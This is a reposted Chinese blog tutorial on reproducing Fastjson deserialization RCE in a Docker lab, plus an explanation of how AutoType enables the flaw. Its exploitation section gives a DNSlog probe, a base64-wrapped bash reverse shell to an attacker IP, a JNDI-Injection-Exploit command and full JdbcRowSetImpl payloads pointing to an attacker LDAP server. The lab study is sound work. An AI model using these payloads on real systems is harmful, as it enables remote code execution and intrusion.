首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

Fastjson反序列化漏洞

  • 25-04-18 18:41
  • 4758
  • 7586
juejin.cn

Fastjson 漏洞复现

前言

遇到问题可以先看注意事项!!!

1.2.47-rce

漏洞编号:CVE-2017-18349

搭建环境

开启环境

shell
代码解读
复制代码
# 开启环境 docker compose up -d # 查看运行情况 docker ps

截屏2025-04-16 19.35.46

出现这种页面就搭建成功了

截屏2025-04-16 19.39.56

Fastjson 特征
报错回显

先把get包改为post,把Content-Type类型改成application/json,添加请求体。反回包里面会有报错信息(这个报错信息是可以被开发者屏蔽的)。

注:下面的包删除了多余的内容

http
代码解读
复制代码
POST / HTTP/1.1 Host: 192.168.64.10:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive Content-Type: application/json Content-Length: 11 {"test":"

截屏2025-04-16 19.51.01

DNSlog盲打

payload

java
代码解读
复制代码
{"xxx":{"@type":"java.net.InetAddress","val":"5eb01a76.log.cdncache.rr.nu."}}

注意改请求方式和Content-Type类型。

截屏2025-04-17 12.01.21

漏洞利用

我这里采用的是JNDI-Injection-Exploit工具,直接生成的jndi注入的命令。如果想看手工注入可以参考这篇文章。

反弹shell
shell
代码解读
复制代码
# 10.201.65.180:9932为攻击机监听的端口 bash -i >& /dev/tcp/10.201.65.180/9932 0>&1 # base64编码 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ== # 完整的命令 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}
工具一把梭
shell
代码解读
复制代码
# -c参数为靶机会执行的命令,-A为攻击机地址 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] # 具体命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.201.65.180"

红色部分的payload挨着尝试就行了。

截屏2025-04-17 14.39.05

完整payload
json
代码解读
复制代码
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://10.201.65.180:1389/xbc51m", "autoCommit":true } }

效果:

bp返回的是500,但是已经成功反弹shell

截屏2025-04-17 14.41.27

截屏2025-04-17 14.42.37

1.2.47-rce

漏洞编号:CNVD‐2019‐22238

环境搭建和上面相同,直接开始漏洞利用。

差异

先用刚才的payload再打一遍,显示目标明确提示 autoType 被禁用,这条攻击链无法继续。

截屏2025-04-17 14.58.05

漏洞利用

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

还是直接利用上面工具生成的jndi注入payload。

完整payload

json
代码解读
复制代码
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://10.201.65.180:1389/xbc51m", "autoCommit":true } }
效果

截屏2025-04-17 15.04.59

截屏2025-04-17 15.05.20

漏洞原理

json概述

JSON 是一种轻量级的数据交换格式,全称是 JavaScript Object Notation。它使用**键值对(key-value)**的结构表示数据,易于人阅读和编写,也易于机器解析和生成。

虽然起源于 JavaScript,但现在已经成为编程语言之间通信的通用格式,比如在前后端之间传输数据、配置文件、接口请求等场景中广泛使用。

josn示例:

json
代码解读
复制代码
{ "name": "Alice", "age": 25, "isStudent": false, "skills": ["Java", "Python", "C++"], "address": { "city": "Beijing", "zip": "100000" } }
fastjosn概述

Fastjson 是由阿里巴巴开发的一个开源 Java 类库,广泛用于将 Java 对象转换为 JSON(序列化),以及将 JSON 字符串转换为 Java 对象(反序列化)。它支持操作任意 Java 对象,甚至包括一些没有源码的系统类或第三方类,这也成为其安全漏洞的根源之一。由于使用简单、性能优秀,Fastjson 在实际开发中应用非常广泛。

fastjson序列化

Fastjson 其本质是通过将 JSON 字符串与 Java 对象之间进行序列化与反序列化转换。在设计上,它没有使用 Java 原生的序列化机制,而是自定义了基于属性或方法的转换方式。为了在反序列化时准确还原对象的真实类型,Fastjson 引入了 AutoType 功能,即通过 JSON 中的 @type 字段,记录对象的具体类名,从而支持多态还原。

比如我们有如下两个类:

java
代码解读
复制代码
class Dog implements Animal { private String name; private int age; } class Cat implements Animal { private String name; private int age; }

假设使用的是基于接口 Animal 的序列化方式,如果我们将一个 Dog 对象和一个 Cat 对象分别序列化为 JSON,得到的可能都是:

json
代码解读
复制代码
{"Animal":{"name":"Tom","age":2}}

由于父类/接口会“抹去”具体子类信息,导致反序列化时无法判断该对象到底是 Dog 还是 Cat。

为了解决这个问题,Fastjson 引入了 AutoType 机制,在序列化时加上 @type 字段,例如:

json
代码解读
复制代码
{ "animal": { "@type": "com.example.model.Dog", "name": "Tom", "age": 2 } }
fastjson反序列化漏洞

然而,也正是 Fastjson 引入 AutoType 功能的设计,给攻击者提供了反序列化漏洞的利用入口。当用户反序列化不可信的 JSON 数据且没有禁用 AutoType 功能时,攻击者可以通过精心构造的 JSON 数据,利用 @type 字段指定恶意类,并触发该类的实例化过程。在实例化的过程中,Fastjson 会调用该类的 setter 或构造方法,这就可能导致恶意代码的执行。Fastjson 的漏洞本质上仍是典型的 Java 反序列化问题,危险性来源于类实例化和方法调用的开放性,以及不加限制的 AutoType 使用。

Fastjson 的 AutoType 功能通过在 JSON 字符串中加入 @type 字段来标记对象的真实类型。当 Fastjson 进行反序列化时,会读取这个 @type 字段并尝试将 JSON 数据转换为指定的 Java 对象,随后调用对象的 setter 或 getter 方法。然而,如果 @type 指定了恶意构造的类,那么反序列化过程中就可能触发安全漏洞。攻击者可以通过这种方式构造 JSON 数据,指定恶意类,进而实现远程代码执行或其他攻击行为。

注意事项

  1. 使用dnslog平台前先用靶机ping dns地址,测试网络连通性

  2. 测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值。

java
代码解读
复制代码
{"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}}

原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。

这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"},相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。 ![截屏2025-04-17 12.00.08](gitee.com/xiao-tang-s… 12.00.08.png)

  1. 如果靶机是本机,IP地址可能会变动。
注:本文转载自juejin.cn的Poseidon的文章"https://juejin.cn/post/7493840646949093428"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

142
代码人生
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2024 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top